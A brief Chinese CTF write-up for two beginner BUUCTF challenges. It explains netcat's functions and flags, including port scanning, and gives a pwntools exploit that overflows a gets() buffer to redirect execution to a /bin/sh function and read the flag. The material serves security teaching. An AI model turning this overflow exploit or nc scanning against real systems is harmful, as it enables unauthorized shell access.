nc + rip
buu上的前两道两个比较简单,所以wp就合成一篇
nc
看伪代码的时候就会发现什么都没有直接就是(/bin/sh),这里的sh就是之前所说的shell,/bin/sh告诉系统执行本文件的程序,平时写题的时候我们的目的是为了让程序跳转到这里例如buu上的jarvisoj_level0,这道题只要连接上就行。
这道题主要是想说nc命令。
nc是netcat的简写,主要作用:
1.实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
2.端口的扫描,nc可以作为client发起TCP或UDP连接
3.机器之间传输文件
4.机器之间网络测速
常用控制参数:
-l 用于指定nc将处于侦听模式。指定参数,意味nc被当作server侦听并接受链接,而非向其他地址发起链接
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用UDP协议,默认TCP
-v 输出交互或出错信息
-w 超时秒数,后面跟数字
-z 表示zero,表示扫描时不发送任何数据
这道题直接在命令行里nc + 端口连接上就好了
rip
main函数里有gets(),可以作为一个输入点,留意一下接着看。shift+f12查看程序内的字符串,可以发现有一个字符串(/bin/sh),双击跟进,这个字符串在fun函数里,那么我们只要调用到fun函数就好了
思路:通过gets函数输入覆盖返回地址然后让程序跳转到fun函数
exp
from pwn import*
p = remote(' ', )
payload = str.encode('a' * 15) + p64(0x401186)
#payload = b"a" * 15这样也可以转换成二进制形式
p.sendline(payload)
p.sendline("cat flag")
p.interactive()